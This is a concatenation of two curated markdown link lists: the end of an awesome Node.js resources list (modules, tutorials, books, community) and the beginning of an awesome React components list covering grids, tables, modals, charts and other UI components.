- [file-type](https://github.com/sindresorhus/file-type) - Detect the file type of a Buffer.
- [Bottleneck](https://github.com/SGrondin/bottleneck) - Rate limiter that makes throttling easy.
- [ow](https://github.com/sindresorhus/ow) - Function argument validation for humans.
- [webworker-threads](https://github.com/audreyt/node-webworker-threads) - Lightweight Web Worker API implementation with native threads.
- [clipboardy](https://github.com/sindresorhus/clipboardy) - Access the system clipboard (copy/paste).
- [node-pre-gyp](https://github.com/mapbox/node-pre-gyp) - Makes it easy to publish and install Node.js C++ addons from binaries.
- [opencv](https://github.com/peterbraden/node-opencv) - Bindings for OpenCV. The defacto computer vision library.
- [dotenv](https://github.com/motdotla/dotenv) - Load environment variables from .env file.
- [remote-git-tags](https://github.com/sindresorhus/remote-git-tags) - Get tags from a remote git repo.
- [semver](https://github.com/npm/node-semver) - Semantic version parser.
- [Faker.js](https://github.com/Marak/Faker.js) - Generate massive amounts of fake data.
- [nodegit](https://github.com/nodegit/nodegit) - Native bindings to Git.
- [json-strictify](https://github.com/pigulla/json-strictify) - Safely serialize a value to JSON without data loss or going into an infinite loop.
- [resolve-from](https://github.com/sindresorhus/resolve-from) - Resolve the path of a module like `require.resolve()` but from a given path.
- [simplecrawler](https://github.com/cgiffard/node-simplecrawler) - Event driven web crawler.
- [jsdom](https://github.com/tmpvar/jsdom) - JavaScript implementation of HTML and the DOM.
- [hypernova](https://github.com/airbnb/hypernova) - Server-side rendering your JavaScript views.
- [@sindresorhus/is](https://github.com/sindresorhus/is) - Type check values.
- [env-dot-prop](https://github.com/simonepri/env-dot-prop) - Get, set, or delete nested properties of process.env using a dot path.
- [emittery](https://github.com/sindresorhus/emittery) - Simple and modern async event emitter.
- [node-video-lib](https://github.com/gkozlenko/node-video-lib) - Pure JavaScript library for working with MP4 and FLV video files and creating MPEG-TS chunks for HLS streaming.
- [basic-ftp](https://github.com/patrickjuchli/basic-ftp) – FTP/FTPS client.
- [cashify](https://github.com/xxczaki/cashify) - Currency conversion.
- [genepi](https://github.com/Geode-solutions/genepi) - Automatically generate a native Node.js addon from C++ code.
- [husky](https://github.com/typicode/husky) - Create Git hook scripts.
- [patch-package](https://github.com/ds300/patch-package) - Make and preserve fixes to npm dependencies.
## Resources
### Tutorials
- [Node.js Best Practices](https://github.com/i0natan/nodebestpractices) - Summary and curation of the top-ranked content on Node.js best practices, available in multiple languages.
- [Nodeschool](https://github.com/nodeschool) - Learn Node.js with interactive lessons.
- [The Art of Node](https://github.com/maxogden/art-of-node/#the-art-of-node) - An introduction to Node.js.
- [stream-handbook](https://github.com/substack/stream-handbook) - How to write Node.js programs with streams.
- [module-best-practices](https://github.com/mattdesl/module-best-practices) - Some good practices when writing new npm modules.
- [The Node Way](http://thenodeway.io) - An entire philosophy of Node.js best practices and guiding principles exists for writing maintainable modules, scalable applications, and code that is actually pleasant to read.
- [You Don't Know Node.js](https://github.com/azat-co/you-dont-know-node) - Introduction to Node.js core features and asynchronous JavaScript.
- [Portable Node.js guide](https://github.com/ehmicky/portable-node-guide) - Practical guide on how to write portable/cross-platform Node.js code.
- [Build a real web app with no frameworks](https://frameworkless.js.org/course) - A set of video tutorials/livestreams to help you build and deploy a real, live web app using a handful of simple libraries and the core Node.js modules.
### Discovery
- [npms](https://npms.io) - Superb package search with deep analysis of package quality using a [myriad of metrics](https://npms.io/about).
- [npm addict](https://npmaddict.com) - Your daily injection of npm packages.
- [npmcompare.com](https://npmcompare.com) - Compare and discover npm packages.
### Articles
- [Error Handling in Node.js](https://www.joyent.com/node-js/production/design/errors)
- [Teach Yourself Node.js in 10 Steps](https://ponyfoo.com/articles/teach-yourself-nodejs-in-10-steps)
- [Mastering the filesystem in Node.js](https://medium.com/@yoshuawuyts/mastering-the-filesystem-in-node-js-4706b7cb0801)
- [Semver: A Primer](https://nodesource.com/blog/semver-a-primer/)
- [Semver: Tilde and Caret](https://nodesource.com/blog/semver-tilde-and-caret/)
- [Why Asynchronous?](https://nodesource.com/blog/why-asynchronous/)
- [Understanding the Node.js Event Loop](https://nodesource.com/blog/understanding-the-nodejs-event-loop/)
- [Understanding Object Streams](https://nodesource.com/blog/understanding-object-streams/)
- [Art of README](https://github.com/noffle/art-of-readme) - Learn the art of writing quality READMEs.
- [Using Express to Quickly Build a GraphQL Server](https://snipcart.com/blog/graphql-nodejs-express-tutorial)
### Newsletters
- [Node Weekly](http://nodeweekly.com) - Weekly e-mail round-up of Node.js news and articles.
- [Node Module Of The Week!](https://nmotw.in) - Weekly dose of hand picked node modules.
### Videos
- [Introduction to Node.js with Ryan Dahl](https://www.youtube.com/watch?v=jo_B4LTHi3I)
- [Hands on with Node.js](https://learn.bevry.me/hands-on-with-node.js/preface)
- [Nodetuts](http://nodetuts.com) - Series of talks, including TCP & HTTP API servers, async programming, and more.
- [V8 Garbage Collector](https://v8.dev/blog/trash-talk) - Trash talk about the V8 garbage collector.
- [10 Things I Regret About Node.js by Ryan Dahl](https://www.youtube.com/watch?v=M3BM9TB-8yA) - Insightful talk by the creator of Node.js about some of its limitions.
- [Mastering REST APIs in Node.js: Zero-To-Hero](https://www.manning.com/livevideo/mastering-rest-apis-in-nodejs) - Video course on how to make REST APIs using Node.js.
### Books
- [Node.js in Action](https://www.manning.com/books/node-js-in-action-second-edition)
- [Node.js in Practice](http://www.amazon.com/Node-js-Practice-Alex-R-Young/dp/1617290939)
- [Mastering Node](http://visionmedia.github.io/masteringnode/)
- [Node.js 8 the Right Way](https://pragprog.com/book/jwnode2/node-js-8-the-right-way)
- [Professional Node.js: Building JavaScript Based Scalable Software](http://www.amazon.com/Professional-Node-js-Building-Javascript-Scalable-ebook/dp/B009L7QETY/)
- [Practical Node.js: Building Real-World Scalable Web Apps](http://practicalnodebook.com)
- [Mixu's Node book](http://book.mixu.net/node/)
- [Pro Express.js](http://proexpressjs.com)
- [Secure Your Node.js Web Application](http://www.amazon.com/Secure-Your-Node-js-Web-Application/dp/1680500856)
- [Express in Action](https://www.manning.com/books/express-in-action)
- [Practical Modern JavaScript](https://www.amazon.com/Practical-Modern-JavaScript-Dive-Future/dp/149194353X)
- [Mastering Modular JavaScript](https://www.amazon.com/Mastering-Modular-JavaScript-Nicolas-Bevacqua/dp/1491955686/)
- [Get Programming with Node.js](https://www.manning.com/books/get-programming-with-node-js)
### Blogs
- [Node.js blog](https://nodejs.org/en/blog/)
- [webapplog.com](http://webapplog.com/tag/node-js/) - Blog posts on Node.js and JavaScript from the author of Practical Node.js and Pro Express.js Azat Mardan.
### Courses
- [Learn to build apps and APIs with Node.js](https://learnnode.com/friend/AWESOME) - Video course by Wes Bos.
- [Real Time Web with Node.js](https://www.codeschool.com/courses/real-time-web-with-node-js)
- [Learn and Understand Node.js](https://www.udemy.com/understand-nodejs)
### Cheatsheets
- [Express.js](https://github.com/azat-co/cheatsheets/blob/master/express4)
- [Stream FAQs](https://github.com/stephenplusplus/stream-faqs) - Answering common questions about streams, covering pagination, events, and more.
- [Strong Node.js](https://github.com/jesusprubio/strong-node) - Checklist for source code security analysis of a Node.js web service.
### Tools
- [OctoLinker](https://chrome.google.com/webstore/detail/octolinker/jlmafbaeoofdegohdhinkhilhclaklkp) - Chrome extension that linkifies dependencies in package.json, .js, .jsx, .coffee and .md files on GitHub.
- [npm-hub](https://chrome.google.com/webstore/detail/npm-hub/kbbbjimdjbjclaebffknlabpogocablj) - Chrome extension to display npm dependencies at the bottom of a repo's readme.
- [RunKit](http://blog.tonicdev.com/2015/09/30/embedded-tonic.html) - Embed a Node.js environment on any website.
- [RequireBin](http://requirebin.com) - Shareable JavaScript programs powered by npm and browserify.
- [github-npm-stats](https://chrome.google.com/webstore/detail/github-npm-stats/oomfflokggoffaiagenekchfnpighcef) - Chrome extension that displays npm download stats on GitHub.
- [npm semver calculator](https://semver.npmjs.com) - Visually explore what versions of a package a semver range matches.
- [CodeSandbox](https://codesandbox.io/s/node-http-server-node) - Online IDE and prototyping.
### Community
- [Gitter](https://gitter.im/nodejs/node)
- [`#node.js` on Freenode](http://webchat.freenode.net/?channels=node.js)
- [Stack Overflow](http://stackoverflow.com/questions/tagged/node.js)
- [Reddit](https://www.reddit.com/r/node)
- [Twitter](https://twitter.com/nodejs)
- [Hashnode](https://hashnode.com/n/nodejs)
- [Discord](https://discordapp.com/invite/96WGtJt)
### Miscellaneous
- [nodebots](http://nodebots.io) - Robots powered by JavaScript.
- [node-module-boilerplate](https://github.com/sindresorhus/node-module-boilerplate) - Boilerplate to kickstart creating a node module.
- [modern-node](https://github.com/sheerun/modern-node) - Toolkit for creating node modules with Jest, Prettier, ESLint, and Standard.
- [generator-nm](https://github.com/sindresorhus/generator-nm) - Scaffold out a node module.
- [Microsoft Node.js Guidelines](https://github.com/Microsoft/nodejs-guidelines) - Tips, tricks, and resources for working with Node.js on Microsoft platforms.
- [Module Requests & Ideas](https://github.com/sindresorhus/module-requests) - Request a JavaScript module you wish existed or get ideas for modules.
## Related lists
- [awesome-npm](https://github.com/sindresorhus/awesome-npm) - Resources and tips for using npm.
- [awesome-cross-platform-nodejs](https://github.com/bcoe/awesome-cross-platform-nodejs) - Resources for writing and testing cross-platform code.
|
# 🚀 Absolutely Awesome React Components & Libraries
This is a list of AWESOME components. Nope, it's NOT a comprehensive list of
every React component under the sun. So, what does "awesome" mean? Well:
- It solves a real problem
- It does so in a 🦄 unique, 🦋 beautiful, or 🏆 exceptional way. (And it's not super popular and well-known... no point in listing those.)
- It has recent code commits!
Look for a 🚀 for truly amazing projects. And look for quickie maintainer
commentary and reviews in _(italic parens)_ after some listings of note.
Maintainers:
- [@petebray](https://github.com/bluepeter), author of [Fluxguard](https://fluxguard.com) — monitor PROD website changes.
- [@brillout](https://twitter.com/brillout), author of [vite-plugin-ssr](https://vite-plugin-ssr.com/) (like Next.js / Nuxt but as do-one-thing-do-it-well Vite plugin) and [Telefunc](https://telefunc.com/) (remote functions instead of APIs).
### Contributing
Please review our [contributing guidelines](https://github.com/brillout/awesome-react-components/blob/master/CONTRIBUTING.md). We keep this list fresh by **requiring all PRs to remove one or more non-awesome entries from this list**. Please ONLY PR a new resource if you are ALSO removing one.
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
## Table of Contents
- [UI Components](#ui-components)
- [Editable data grid / spreadsheet](#editable-data-grid--spreadsheet)
- [Table](#table)
- [Infinite Scroll](#infinite-scroll)
- [Overlay](#overlay)
- [Notification](#notification)
- [Tooltip](#tooltip)
- [Menu](#menu)
- [Sticky](#sticky)
- [Tabs](#tabs)
- [Loader](#loader)
- [Carousel](#carousel)
- [Buttons](#buttons)
- [Collapse](#collapse)
- [Chart](#chart)
- [Command palette](#command-palette)
- [Tree](#tree)
- [UI Navigation](#ui-navigation)
- [Custom Scrollbar](#custom-scrollbar)
- [Audio / Video](#audio--video)
- [Map](#map)
- [Time / Date / Age](#time--date--age)
- [Photo / Image](#photo--image)
- [Icons](#icons)
- [Paginator](#paginator)
- [Markdown Viewer](#markdown-viewer)
- [Canvas](#canvas)
- [Miscellaneous](#miscellaneous)
- [Form Components](#form-components)
- [Date / Time picker](#date--time-picker)
- [Emoji picker](#emoji-picker)
- [Input Types](#input-types)
- [Autocomplete](#autocomplete)
- [Select](#select)
- [Color Picker](#color-picker)
- [Toggle](#toggle)
- [Slider](#slider)
- [Radio Button](#radio-button)
- [Type Select](#type-select)
- [Tag Input](#tag-input)
- [Autosize Input / Textarea](#autosize-input--textarea)
- [Star Rating](#star-rating)
- [Drag and Drop](#drag-and-drop)
- [Sortable List](#sortable-list)
- [Rich Text Editor](#rich-text-editor)
- [Markdown Editor](#markdown-editor)
- [Image Editing](#image-editing)
- [Form Component Collections](#form-component-collections)
- [Miscellaneous](#miscellaneous-1)
- [Syntax Highlight](#syntax-highlight)
- [UI Layout](#ui-layout)
- [UI Animation](#ui-animation)
- [Parallax](#parallax)
- [UI Frameworks](#ui-frameworks)
- [Responsive](#responsive)
- [Material Design](#material-design)
- [Mobile](#mobile)
- [Component Collections](#component-collections)
- [UI Utilities](#ui-utilities)
- [Reporter](#reporter)
- [Visibility Reporter](#visibility-reporter)
- [Measurement Reporter](#measurement-reporter)
- [Device Input](#device-input)
- [Keyboard Events](#keyboard-events)
- [Scroll Events](#scroll-events)
- [Touch Swipe](#touch-swipe)
- [Mouse Events](#mouse-events)
- [Meta Tags](#meta-tags)
- [Portal](#portal)
- [Test User Behavior](#test-user-behavior)
- [Code Design](#code-design)
- [Data Store](#data-store)
- [Form Logic](#form-logic)
- [Router](#router)
- [Props from server](#props-from-server)
- [Communication with server](#communication-with-server)
- [CSS / Style](#css--style)
- [HTML Template](#html-template)
- [Isomorphic Apps](#isomorphic-apps)
- [Boilerplate](#boilerplate)
- [Miscellaneous](#miscellaneous-2)
- [Utilities](#utilities)
- [i18n](#i18n)
- [Framework bindings / integrations](#framework-bindings--integrations)
- [Integrations with Third Party Services](#integrations-with-third-party-services)
- [Performance](#performance)
- [UI](#ui)
- [Inspect](#inspect)
- [Lazy Load](#lazy-load)
- [App Size](#app-size)
- [Server-Side Rendering](#server-side-rendering)
- [Dev Tools](#dev-tools)
- [Test](#test)
- [Redux](#redux)
- [Inspect](#inspect-1)
- [Miscellaneous](#miscellaneous-3)
- [Miscellaneous](#miscellaneous-4)
- [Static Website Generator](#static-website-generator)
- [Cloud Solutions](#cloud-solutions)
- [Databases](#databases)
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
## UI Components
**[`Back to top ⬆️`](#table-of-contents)**
### Editable data grid / spreadsheet
- [fortune-sheet](https://github.com/ruilisi/fortune-sheet) - An online spreedsheet component that provides out-of-the-box features just like Excel.
- [AG Grid](https://github.com/ag-grid/ag-grid) - Advanced Data Grid / Data Table supporting Javascript / React / AngularJS / Web Components.
- [gigatables-react](https://github.com/GigaTables/reactables) - Sorting, pagination/infinite scroll, global/column search, AJAX CRUD, and more.
- [MUI X Data grid](https://github.com/mui/mui-x) - [demo/docs](https://mui.com/x/react-data-grid/) - Fast and customizable data grid with advanced features for power users and complex use cases.
- [react-data-grid](https://github.com/adazzle/react-data-grid) - Excel-like grid.
- [revo-grid](https://github.com/revolist/revogrid) - [demo/docs](https://revolist.github.io/revogrid/) - Powerfull Data Grid for React / AngularJS / Vue / Web Components with advanced customization.
- [ReactGrid](https://github.com/silevis/reactgrid) - [demo/docs](https://reactgrid.com/docs/) - Add spreadsheet-like behavior to your app
- [jqwidgets-react-grid](https://www.jqwidgets.com/react/react-grid/) - Filtering, Pagination, Grouping, Export to Excel, PDF, CRUD and more.
### Table
- [ka-table](https://github.com/komarovalexander/ka-table) - [demo](https://komarovalexander.github.io/ka-table/#/overview) - Customizable table component with sorting, filtering, grouping, virtualization, editing etc.
- [mantine-datatable](https://github.com/icflorescu/mantine-datatable) - [demo/docs](https://icflorescu.github.io/mantine-datatable/) - Lightweight table component for Mantine UI applications, with lots of features
- [material-table](https://github.com/mbrn/material-table) - [demo/docs](https://material-table.com/) - Built on Material UI, plus: grouping, tree data, expandable rows, export, inline editing
- [mui-datatables](https://github.com/gregnb/mui-datatables) - Built on Material UI. Search, styling, filtering, resize/hide columns, export, print, select/expand rows.
- [react-data-table](https://github.com/jbetancur/react-data-table-component) - [demo/docs](https://jbetancur.github.io/react-data-table-component/?) - accessible, responsive, themable, declaratively configurable table with sorting, selectable rows, expandable rows, pagination
- [TanStack Table](https://github.com/tannerlinsley/react-table) - [demo](https://tanstack.com/table/v8/docs/examples/react/basic) - Headless UI for building powerful tables & datagrids
- [react-table-library](https://github.com/table-library/react-table-library) - [demo](https://react-table-library.com/) - React Table Library -- an almost headless table library -- for building better tables.
- [rsuite-table](https://github.com/rsuite/rsuite-table) - [demo/docs](http://rsuite.github.io/rsuite-table/) - A table component that supports virtualized.
- [sematable](https://github.com/sematext/sematable) - Client side sorting, pagination, and text filter for redux/react based apps.
- [DevExtreme React Grid](https://devexpress.github.io/devextreme-reactive/react/grid/) - High-performance plugin-based data grid for Bootstrap and Material Design.
- [Smart React Grid](https://htmlelements.com/react/demos/grid/overview/) - Fast and feature-complete data grid with Material Design.
- [KendoReact Grid](https://www.telerik.com/kendo-react-ui/components/grid/) - Powerful data grid component with 100+ ready-to-use features like paging, sorting, export to Excel, and more.
- [Material-React-Table](https://github.com/KevinVandy/material-react-table) - A fully featured Material UI V5 implementation of TanStack React Table V8, written from the ground up in TypeScript
- [AG Grid](https://www.ag-grid.com/) - The Best JavaScript Grid in the World
### Infinite Scroll
- [@egjs/react-infinitegrid](https://github.com/naver/egjs-infinitegrid/blob/master/packages/react-infinitegrid) - [npm](https://www.npmjs.com/package/@egjs/react-infinitegrid) - [demo](https://naver.github.io/egjs-infinitegrid/storybook/) - A module used to arrange card elements including content infinitely according to various layout types.
- [react-lazyload](https://github.com/jasonslyvia/react-lazyload) - Lazyload your Component, Image or anything else where the performance matters.
- [react-list](https://github.com/orgsync/react-list) - A versatile infinite scroll React component.
- [af-virtual-scroll](https://github.com/nowaalex/af-virtual-scroll) - [demo/docs](https://af-virtual-scroll.vercel.app/docs/why) - Render large scrollable lists and tables.
- [react-window](https://github.com/bvaughn/react-window) - [demo](https://react-window.now.sh/) - React components for efficiently rendering large lists and tabular data
- [virtua](https://github.com/inokawa/virtua) - [demo](https://inokawa.github.io/virtua/) - Simple, fast, small and flexible virtual scroller.
### Overlay
_Display overlay / modal / alert / dialog / lightbox / popup_
- [react-aria-modal](https://github.com/davidtheclark/react-aria-modal) - A fully accessible and flexible React modal built according WAI-ARIA Authoring Practices.
- [react-modal](https://github.com/reactjs/react-modal) - Accessible modal dialog component for React.
- [reoverlay](https://github.com/hiradary/reoverlay) - [demo](https://hiradary.github.io/reoverlay/) - The missing solution for managing modals.
- [sweetalert2](https://github.com/sweetalert2/sweetalert2) - [demo/docs](https://sweetalert2.github.io/) - A beautiful, responsive, highly customizable and accessible (WAI-ARIA) replacement for JavaScript's popup boxes. Zero dependencies.
- [sweetalert2-react-content](https://github.com/sweetalert2/sweetalert2-react-content) - Official SweetAlert2 enhancer adding support for React elements as content
### Notification
_Toaster / snackbar — Notify the user with a modeless temporary little popup_
- [react-notifications-component](https://github.com/teodosii/react-notifications-component) - [demo](https://teodosii.github.io/react-notifications-component/) - Highly customizable and easy-to-use component for notifications.
- [notistack](https://iamhosseindhv.com/notistack) - [demo](https://codesandbox.io/s/github/iamhosseindhv/notistack/tree/master/examples/simple-example??hidenavigation=1&module=%2FApp.js) - [docs](https://iamhosseindhv.com/notistack/api) - Highly customizable notification snackbars (toasts) that can be stacked on top of each other
- [react-local-toast](https://github.com/OlegWock/react-local-toast) - [demo](https://react-local-toast.netlify.app/showcase/) - [docs](https://react-local-toast.netlify.app/tutorial) - show feedback linked to particular component instead of app-wide toasts.
- [react-toast](https://github.com/moharnadreza/react-toast) - [demo](https://codesandbox.io/s/byqvk) - [docs](https://github.com/moharnadreza/react-toast/blob/main/README.md) - Minimal toast notifications.
- 🚀 [react-toastify](https://github.com/fkhadra/react-toastify) - [demo](https://fkhadra.github.io/react-toastify/) - best bet out there at the moment. Hooks support. No refs.
- [reapop](https://github.com/LouisBarranqueiro/reapop) - A React & Redux notifications system.
- [simple-react-notifications](https://github.com/alexpermyakov/simple-react-notifications) - [demo](https://alexpermyakov.github.io/simple-react-notifications/) - Tiny notification library (1kb gzip).
- [react-hot-toast](https://github.com/timolins/react-hot-toast) - [demo](https://react-hot-toast.com/) - Smoking hot Notifications for React. Lightweight, customizable and beautiful by default.
### Tooltip
- [react-tooltip](https://github.com/wwayne/react-tooltip) - React tooltip component.
### Menu
_Menus / sidebars_
- [hamburger-react](https://github.com/luukdv/hamburger-react) - [demo/docs](https://hamburger-react.netlify.app/) - Animated hamburger menu icons for React.
- [react-burger-menu](https://github.com/negomi/react-burger-menu) - An off-canvas sidebar with effects and styles.
- [react-offcanvas](https://github.com/vutran/react-offcanvas) - Off-canvas menus for React.
- [react-planet](https://github.com/innFactory/react-planet) - [demo](https://innfactory.github.io/react-planet/) - Create circular menus which looks like planets.
- [mantine-contextmenu](https://github.com/icflorescu/mantine-contextmenu) - [demo/docs](https://icflorescu.github.io/mantine-contextmenu/) - Context-menu hook/component for applications built with Mantine UI.
### Sticky
_Fixed headers / scroll-up headers / sticky elements_
- [react-headroom](https://github.com/KyleAMathews/react-headroom) - Hide your header until you need it.
- [react-stickynode](https://github.com/yahoo/react-stickynode) - A performant and comprehensive React sticky.
### Tabs
- [react-tabs](https://github.com/reactjs/react-tabs) - React tabs component.
- [react-tabtab](https://github.com/ctxhou/react-tabtab) - React, tabs.
### Loader
_Loaders / spinners / progress bars — Let the user know that something is loading_
- [react-loader-spinner](https://github.com/mhnpd/react-loader-spinner) - Collection set of react-spinner for async operation.
- [react-redux-loading-bar](https://github.com/mironov/react-redux-loading-bar) - Simple Loading Bar for Redux and React.
- [react-spinners-css](https://github.com/JoshK2/react-spinners-css) - Amazing collection of react spinners components.
- [react-spinners](https://github.com/davidhu2000/react-spinners) - A collection of loading spinner components for react.
- [react-content-loader](https://github.com/danilowoz/react-content-loader) - SVG-Powered component to easily create placeholder loadings (like Facebook's cards loading).
### Carousel
- [@egjs/react-flicking](https://github.com/naver/egjs-flicking/blob/master/packages/react-flicking/) - [npm](https://www.npmjs.com/package/@egjs/react-flicking) - [demo](https://naver.github.io/egjs-flicking/) - It's reliable, flexible and extendable carousel.
- [react-awesome-slider](https://github.com/rcaferati/react-awesome-slider) - [demo](https://fullpage.caferati.me/) - Fullpage, 3D animated, 60fps media and content slider/carousel.
- [pure-react-carousel](https://github.com/express-labs/pure-react-carousel) - Built from scratch and not highly opinionated.
- [react-id-swiper](https://github.com/kidjp85/react-id-swiper) - A library to use idangerous Swiper as a ReactJs component
- [react-instagram-zoom-slider](https://github.com/skozer/react-instagram-zoom-slider) - [demo](https://skozer.github.io/react-instagram-zoom-slider/) - A slider component with pinch to zoom capabilities inspired by Instagram.
- [react-responsive-carousel](https://github.com/leandrowd/react-responsive-carousel) - React.js Responsive Carousel (with Swipe).
- [react-slick](https://github.com/akiran/react-slick) - React carousel component.
- [keen-slider](https://github.com/rcbyr/keen-slider) - [demo](https://keen-slider.io/examples/#examples) - Performant carousel/slider with native touch/swipe behavior.
- [swiper](https://github.com/nolimits4web/Swiper) - [demo](https://swiperjs.com/demos) - [docs](https://swiperjs.com/react) - The most modern free mobile touch slider with hardware accelerated transitions and amazing native behavior.
### Buttons
- [react-awesome-button](https://github.com/rcaferati/react-awesome-button) - [demo](https://caferati.me/demo/react-awesome-button) - 3D animated 60fps buttons with load progress and social share actions.
- [reactive-button](https://github.com/arifszn/reactive-button) - [demo](https://arifszn.github.io/reactive-button/docs/playground) - [docs](https://arifszn.github.io/reactive-button) - A beautiful animated button component with progress indicator.
### Collapse
- [react-accessible-accordion](https://github.com/springload/react-accessible-accordion) - Accessible Accordion component for React.
- [react-collapse](https://github.com/nkbt/react-collapse) - Component-wrapper for collapse animation with react-motion.
- [react-tabbordion](https://github.com/Merri/react-tabbordion) - [demo](https://merri.github.io/react-tabbordion) - Universal, semantic and CSS-only components for creating Accordions and Tabs.
### Chart
_Display data in charts / graphs / diagrams_
- [chartify](https://github.com/kirillstepkin/chartify) - React.js plugin for building animated draggable and customizable charts.
- [essential js 2 charts](https://github.com/syncfusion/ej2-react-ui-components/tree/master/components/charts) - Beautiful and interactive charts & graphs for react.
- [echarts for react](https://github.com/hustcc/echarts-for-react) - Wrapper around beautiful Apache Echarts
- [jscharting-react](https://github.com/jscharting/jscharting-react) – React chart component offering a complete set of chart types and engaging data visualizations with [JSCharting](https://jscharting.com/).
- [react-chartist](https://github.com/fraserxu/react-chartist) - React component for Chartist.js.
- [react-charty](https://github.com/99ff00/react-charty) - [demo](https://99ff00.github.io/react-charty/) - Small but powerful interactive data viz with multiple chart types, animations, zooming, theming.
- [react-chartjs-2](https://github.com/jerairrest/react-chartjs-2) - Common react charting components using Chart.js 2.0.
- [react-d3-components](https://github.com/codesuki/react-d3-components) - D3 Components for React.
- [react-dazzle](https://github.com/Raathigesh/Dazzle) - Dashboards made easy in React JS.
- [react-google-charts](https://github.com/RakanNimer/react-google-charts) - React-google-charts React component.
- [react-highcharts](https://github.com/kirjs/react-highcharts) - React-highcharts.
- [react-sigmajs](https://github.com/dunnock/react-sigma) - Lightweight but powerful library for drawing network graphs built on top of SigmaJS.
- [react-sparklines](https://github.com/borisyankov/react-sparklines) - Beautiful and expressive Sparklines React component.
- [react-timeseries-charts](https://github.com/esnet/react-timeseries-charts) - Declarative timeseries charts.
- [react-vis](https://github.com/uber/react-vis) - Data visualization library based on React and d3.
- [recharts](https://github.com/recharts/recharts) - Redefined chart library built with React and D3.
- [rumble-charts](https://github.com/rumble-charts/rumble-charts) - React components for building composable and flexible charts.
- [victory](https://github.com/FormidableLabs/victory) - Data viz for React.
- [semiotic](https://semiotic.nteract.io/) - Semiotic is a data visualization framework for React.
- [DevExtreme React Chart](https://devexpress.github.io/devextreme-reactive/react/chart/) - High-performance plugin-based chart for Bootstrap and Material Design.
- [Smart React Chart](https://www.htmlelements.com/react/demos/chart/overview/) - Feature complete Charting library.
- [react-muze](https://github.com/chartshq/react-muze) - React wrapper for [muze](https://muzejs.org/)(free data visualization library for creating exploratory data visualizations in browser, using WebAssembly)
- [Flowchart React](https://github.com/joyceworks/flowchart-react) - Flowchart & Flowchart designer for React.js.
- [react-dashboard](https://github.com/flatlogic/react-dashboard) - Isomorphic Dashboards.
### Command palette
- [kbar](https://github.com/timc1/kbar) - [demo](https://kbar.vercel.app) - Fast, portable, and extensible cmd+k interface.
### Tree
_Display a tree data structure_
- [react-arborist](https://github.com/brimdata/react-arborist) - [demo](https://react-arborist.netlify.app/) - A Full-Featured Tree View: headless, virtualized, multi-selectable, drag-n-drop, keyboard navigation, search
- [react-complex-tree](https://github.com/lukasbach/react-complex-tree) - [demo](https://rct.lukasbach.com/) - [docs](https://rct.lukasbach.com/docs/getstarted) - Unopinionated Accessible Tree Component with Multi-Select, Drag-And-Drop and Search
- [react-treeview](https://github.com/chenglou/react-treeview) - Easy, light, flexible tree view made with React.
### UI Navigation
_Ways to navigate views_
- [react-scroll](https://github.com/fisshy/react-scroll) - React scroll component.
- [react-swipeable-views](https://github.com/oliviertassinari/react-swipeable-views) - A React Component for binded Tabs and Swipeable Views.
### Custom Scrollbar
- [rc-scrollbars](https://github.com/sakhnyuk/rc-scrollbars) - [demo](https://rc-scrollbars.vercel.app/) - Customizable scrollbars with flex options and 60FPS
- [react-custom-scroll](https://github.com/rommguy/react-custom-scroll) - [demo](http://rommguy.github.io/react-custom-scroll/example/demo.html) - Easily customize the browser scroll bar with native OS scroll behavior.
- [react-shadow-scroll](https://github.com/andrelmlins/react-shadow-scroll) - Component that customizes the image and inserts shadow when scrolling exists.
### Audio / Video
- [react-dailymotion](https://github.com/u-wave/react-dailymotion) - Dailymotion player component for React.
- [react-player](https://github.com/CookPete/react-player) - A react component for playing a variety of URLs, including YouTube.
- [react-soundplayer](https://github.com/soundblogs/react-soundplayer) - Create custom SoundCloud players with React.
- [react-youtube](https://github.com/troybetz/react-youtube) - React.js powered YouTube player component.
- [video-react](https://github.com/video-react/video-react) - A web video player built for the HTML5 world using React library.
- [material-ui-audio-player](https://github.com/Werter12/material-ui-audio-player) - Audio player for material ui design.
- [react-vision-camera](https://github.com/xulihang/react-vision-camera) - Camera component for React using getUserMedia. We can use this component for computer vision tasks like barcode scanning, text recognition, etc.
- [react-barcode-qrcode-scanner](https://github.com/xulihang/react-barcode-qrcode-scanner) - Barcode and QR code scanner component for React. It uses react-vision-camera to access the camera and Dynamsoft Barcode Reader to read barcodes.
### Map
- [google-map-react](https://github.com/istarkov/google-map-react) - Universal google map react component, allows render react components on the google map.
- [pigeon-maps](https://github.com/mariusandra/pigeon-maps) - [demo](https://pigeon-maps.js.org/) - ReactJS Maps without external dependencies.
- [react-geosuggest](https://github.com/ubilabs/react-geosuggest) - A React autosuggest for the Google Maps Places API.
- [react-leaflet](https://github.com/PaulLeCam/react-leaflet) - React components for Leaflet maps.
- [react-map-gl](https://github.com/uber/react-map-gl) - A React wrapper for MapboxGL-js and overlay API.
- [react-mapbox-gl](https://github.com/alex3165/react-mapbox-gl) - A React binding of mapbox-gl-js.
- [react-svg-map](https://github.com/VictorCazanave/react-svg-map) - [demo](https://victorcazanave.github.io/react-svg-map/) - A set of components to display an interactive SVG map.
### Time / Date / Age
_Display time / date / age_
- [react-timeago](https://github.com/nmn/react-timeago) - A simple time-ago component for ReactJs.
- [timeago-react](https://github.com/hustcc/timeago-react) - Format date with `*** time ago` statement. eg: '3 hours ago'.
- [react-google-flight-datepicker](https://github.com/JSLancerTeam/react-google-flight-datepicker) - Google flight date picker implemented in ReactJS.
### Photo / Image
_Display images / photos_
- [lightGallery](https://github.com/sachinchoolur/lightGallery) - [demo](https://www.lightgalleryjs.com/) - [docs](https://www.lightgalleryjs.com/docs/react/) - Full-featured lightbox gallery component.
- [react-compare-image](https://github.com/junkboy0315/react-compare-image) - [demo](https://react-compare-image.yuuniworks.com/) - React component to compare two images using a slider.
- [react-image-gallery](https://github.com/xiaolin/react-image-gallery) - Responsive image gallery, carousel, image slider react component.
- [yet-another-react-lightbox](https://github.com/igordanchenko/yet-another-react-lightbox) - [demo](https://yet-another-react-lightbox.com/examples) - [docs](https://yet-another-react-lightbox.com/documentation) - React lightbox component.
- [react-intense](https://github.com/brycedorn/react-intense) - A React component for viewing large images up close.
- [react-photo-album](https://github.com/igordanchenko/react-photo-album) - [demo](https://react-photo-album.com/examples) - [docs](https://react-photo-album.com/documentation) - Responsive React Photo Gallery.
